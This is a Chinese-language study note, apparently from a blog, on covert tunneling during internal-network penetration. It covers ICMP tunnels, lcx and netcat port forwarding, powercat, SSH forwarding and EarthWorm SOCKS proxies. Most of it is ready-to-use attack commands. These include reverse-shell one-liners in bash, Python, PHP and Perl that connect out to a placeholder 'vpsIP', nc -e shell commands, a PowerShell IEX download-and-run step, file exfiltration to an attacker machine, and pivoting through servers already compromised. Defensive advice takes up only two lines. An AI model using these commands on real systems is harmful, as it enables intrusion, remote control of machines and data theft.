内网渗透之隐藏隧道技术

 
个人学习笔记及归纳总结,学习内网渗透的必备基础(干货)
 
隐藏隧道技术即是,绕过端口屏蔽的通信方式

判断内网连通性

imcp
ping [ip]
tcp 
nc -zv [ip] [port]

http
curl 支持文件上传和下载等。linux自带,windows须安装
curl [域名:端口]
设代理 curl -x [proxy-ip:port] [域名]

dns(windows)
nslookup
nslookup [域名]

dig(linux)
dig [域名]

网络层

ICMP隧道
若HTTP,DNS正反向端口转发进行的操作都失败,常会用ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包,从而穿过防火墙。

防御:wireshark进行ICMP分析,检测同一来源ICMP数据包流量,注意payload大于64bit的数据包

icmpsh工具

本机:
git clone https://github.com/inquisb/icmpsh.git
安装 python的impacket库 apt-get install python-impacket
需关闭本机icmp应答 sysctl -w net.ipv4.imcp_echo_ignore_all=1
运行 ./run.sh 
输入目标IP,将弹出需要在目标主机上运行的命令并开始监听
目标机:
上传/下载icmsh.exe到目标机
在目标机输入需要在目标机执行的命令
即可看到目标机的shell

PingTunnel 工具
vps可访问web服务器,web服务器只能通过ping访问数据库服务器。
目标:通过web服务器访问数据库服务器的3389端口
安装

vps和web需安装pingtunnel工具
wget下载  http://freshmeat.sourceforge.net/projects/ptunnel/  
解压,配置,安装  
(若安装出现错误,可能需安装libpcap/wincap数据包捕获函数库,wget下载 http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz)
kali安装遇到需要安装byacc包,sudo apt-get install -y byacc
./configure ---- sudo make && make install

使用

web服务器下
开启隧道 ptunnel -x(隧道连接密码) shuteer(密码)
vps下
ptunnel -p(隧道另一端web服务器ip) [web服务器ip] -lp(监听本地TCP) [监听port] -da(要转发的目标ip) [数据库ip] -dp(数据库port) 3389 -x shuteer

以上含义:在访问vps的监听端口时,会把数据库服务器的3389端口封装在ICMP隧道,以web服务器为跳板进行传送
 

传输层

TCP隧道,UDP隧道和常规端口转发。如果内网防火墙终止了对指定端口的访问,再获得目标机器的权限后,可以使用IPTABLES打开指定端口。

lcx端口转发
windows版lcx.exe,linunx版为portmap
1.内网端口转发

在目标机器执行命令,将目标机器3389端口的所有数据转发到vps的4444端口
lcx.exe -slave [vpsIP] 4444 127.0.0.1 3389
在vps上执行命令,在本机4444 端口监听所有数据转发到本机的5555端口
lcx.exe -listen 4444 5555
用mstsc远程登录"vpsIP:5555",即可访问目标机器的3389端口

2.端口映射
如果目标机器由于防火墙的限制,部分端口(例如3389)的数据无法通过防火墙,可以将目标机器相应端口映射到防火墙允许的其他端口

在目标机器执行命令,直接从远程桌面连接目标机器的53端口,相当于连接了3389
lcx -tran 53 [目标机器IP] 3389

netcat
从网络的一段读取数据,输出到网络的另一端

kali需安装nc
1.sudo yum install nc.x86_64
2.wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz ----- tar zxvf netcat-0.7.1.tar.gz ----- cd netcat-0.7.1 ----- ./configure ----- make ---- 运行 ./netcat

常用命令

Banner抓取  nc -nv [目标IP] [port]
远程连接远程主机  nc -nvv  [目标IP] [port]
端口扫描  nc -v [目标IP] [port]
段端口扫描  nc -v -z [目标IP] [port1-portN]
端口监听 nc -l -p [监听本地端口]
文件传输流入(本地主机)  nc -lpl [监听本地端口] > 1.txt
文件传输流出(目标主机)  nc -vn [攻击机IP] [攻击机监听端口] < 1.txt -q 1
简易聊天(本地主机)  nc -l -p [监听端口]
简易聊天(目标主机)  nc -vn [攻击机IP] [攻击机监听端口]

获取shell
正向与反向。反向通常用在开启防护措施的目标机器上
1.正向shell

目标主机执行如下命令,监听目标本机端口
(linux)nc -lvp 4444 -e /bin/sh
(windows)nc -lvp 4444 -e c:\windows\system32\cmd.exe
vps执行如下命令,连接目标主机的4444端口
nc [目标主机IP] [目标主机监听端口]

2.反向shell

vps执行如下命令,监听本机端口
nc -lvp 9999
目标主机执行如下命令,连接vps的9999端口
(linux)nc [vpsIP] [vps监听端口] -e /bin/sh
(windows)nc [vpsIP] [vps监听端口] -e c:\windows\system32\cmd.exe
在目标主机没有nc时获取shell

3.python反向shell

python -c 
'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("vpsIP",vps监听端口));
os.dup2(2.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);'

4.bash反向shell

bash –i >& /dev/tcp/vpsIP/vps监听端口 0>&1

5.php反向shell

php -r '$sock=fsockopen("vpsIP",vps监听端口);exec("/bin/sh -i <&3 >&3 2>&3");'

6.perl反向shell

perl -e  'use Socket; $i="vpsIP";$p=vps监听端口; socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};

内网代理
环境:已拿下web和数据库服务器,vps不能访问数据库服务器,web服务器可访问数据库服务器

vps:
nc -lvp 3333
数据库server:
nc -lvp 3333 -e /bin/sh
webserver:
nc -v [vpsIP] 3333 -c "nc -v [数据库serverIP] 3333"
vps和数据库server中间夹着webserver做中介代理

Powercat nc的powershell版本
下载
进入powershell

git clone https://github.com/besimorhino/powercat.git
cd powercat 
import-module .\powercat.ps1

若异常是权限所致,直接修改权限set-executionpolicy remotesigned

环境(windows)
已拿下web和数据库服务器,vps可访问web数据库,不能访问数据库服务器,web服务器可访问数据库服务器
1.通过nc正向连接powercat

webserver:
powercat -l -p [本地监听端口] -e cmd.exe -v
vps:
netcat [webserverIP] [webserver监听端口] -vv

2.通过nc反向连接powercat

vps:
netcat -l -p [监听端口] -vv
webserver:
powercat -c [vpsIP] -p [vps监听端口] -v -e cmd.exe

3.通过powercat返回powershell
现在让webserver连接数据库server。

数据库server:
IEX (New-Object Net.WebClient).DownloadString('http:[存在可供下载powercat.ps1的服务器IP]/powercat.ps1')
powercat -l -p [数据库server监听端口] -v
webserver:
powercat -c [数据库IP] -p [数据库server监听端口] -v -ep(用于返回powershell)

4.通过powercat传输文件

webserver新建1.txt文件,放置c盘根目录下
数据库server:接收
powercat -l -p [监听端口] -of 1.txt -v
webserver:发送
powercat -c [webserverIP] -p [数据库监听端口] -i c:\1.txt -v

5.用powercat生成payload
用powercat生成payload也有正反向之分,且可进行编码。尝试生成简单payload反弹shell

webserver:
powercat -l -p [本地监听端口] -e cmd -v -g >> shell.ps1
将生成的ps1文件上传到数据库server中执行  .\shell.ps1
powercat -c [数据库server] -p [本地监听端口] -v
如果想反弹powershell
powercat -l -p [本地监听端口] -ep -v -g >> shell.ps1

6.powercat作为跳板
环境:webserver可ping数据库server和vps,vps不能访问数据库server

数据库server:(监听)
powercat -l -v -p [数据库监听端口] -e cmd.exe
webserver:(连接)
powercat -l -v -p [vps监听端口]  -r tcp:[数据库server:数据库server监听端口]
vps:(监听)
nc [webserverIP] [本地监听端口] -vv

 

应用层

稳定,可靠。利用应用软件提供的端口来发送数据。常用隧协议有SSH、HTTP/HTTPS和DNS
SSH协议。一般情况下,ssh协议是被允许通过防火墙和边界设备的。其传输过程是加密的,所以我们很难区分合法的SSH会话和攻击者利用其他网络建立的隧道。攻击者使用SSH端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。

ssh连接命令

 ssh [目标用户]@[目标IP]

本地转发
环境:vps可访问webserver,但不可访问数据库server。内网web和数据库服务器可以互相访问。
目标:以webserver为跳板,访问数据库server的3389
以webserver为跳板,将内网数据库server的3389映射到vps机器的1153端口,再访问vps的1153端口,就可以访问数据库server的3389

vps:
ssh -CfNg -L1153(vps端口):[数据库serverIP]:3389(数据库端口) root@[跳板机IP]
              vps       /       目标                   /    跳板机
查看是否已连接1153,netstat -tulnp | grep ":1153"
在本地系统访问vps1153端口,可发现已与数据库server3389连接,rdsektop 127.0.0.1:1153

本地映射:将本机的某个端口转发到远程指定机器的指定端口
本地端口转发:本机监听一个端口,访问这个端口的数据都会传输到远端对应端口

远程转发
环境:vps不可访问webserver和数据库server,但webserver可访问vps,内网web和数据库服务器可以互相访问。
目标:通过vps访问数据库server的3389
以webserver为跳板,将vps的3307端口的流量转发到数据库server3389端口,然后访问vps3307端口即可访问数据库server的3389

webserver:
ssh -CfNg -R 3307(vps端口):[数据库serverIP]:3389(数据库端口) root@[vpsIP]
              跳板机      /        目标                 /    vps
vps:
vps在本地系统访问3307端口,可发现已与数据库server3389连接,rdsektop 127.0.0.1:3307

本地转发:将远程主机某个端口的数据转发到本地机器的指定端口
远程端口转发:在远程主机监听一个端口,访问远程服务器指定端口的数据都会传输到本地对应端口

动态转发

vps:
在vps建立动态SOCKET4/5代理隧道,ssh -CfNg -D [7000](vps端口) root@[webserverIP]
打开本地浏览器设置代理本地IP和7000端口,通过浏览器访问域控
查看7000是否已连接,netstat -tulnp | grep ":7000"

动态端口映射就是建立一个SSH加密的SOCKET4/5代理通道。任何支持SOCKET4/5协议的程序都可以使用这个加密通道进行代理访问

防御SSH隧道攻击
配置SSH远程管理白名单,在ACL中限制只有特定的IP地址才能连接SSH

SOCKS代理
能够与目标内网计算机进行通信,避免多次使用端口转发。
EW https://github.com/rootkiter/EarthWorm(现在已经下架了)
能够以正向、反向、多级级联等方式建立网络隧道
环境:已拿下webserver(仅拥有内网IP),内网其他服务器均不能直接连接
1.正向socket5服务器(目标机器拥有外网IP)

webserver:
ew -s ssocked -l 888
vps:
用sockscap64添加webserver公网IP即可

2.反向socket5服务器(目标机器没有外网IP)

vps:
在vps添加一个转接隧道,1080收到的代理请求转发至888  ew -s rcsocks -l 1080 -e 888
webserver:
在webserver启动sockeet5服务,反弹给vps  ew -s rssocks -d [vpsIP] -e 888

 
 
******************************************************

部分内容来自——《内网安全攻防》
更多知识等自己再扩展了再更新哦~

你可能感兴趣的:(渗透测试,内网渗透)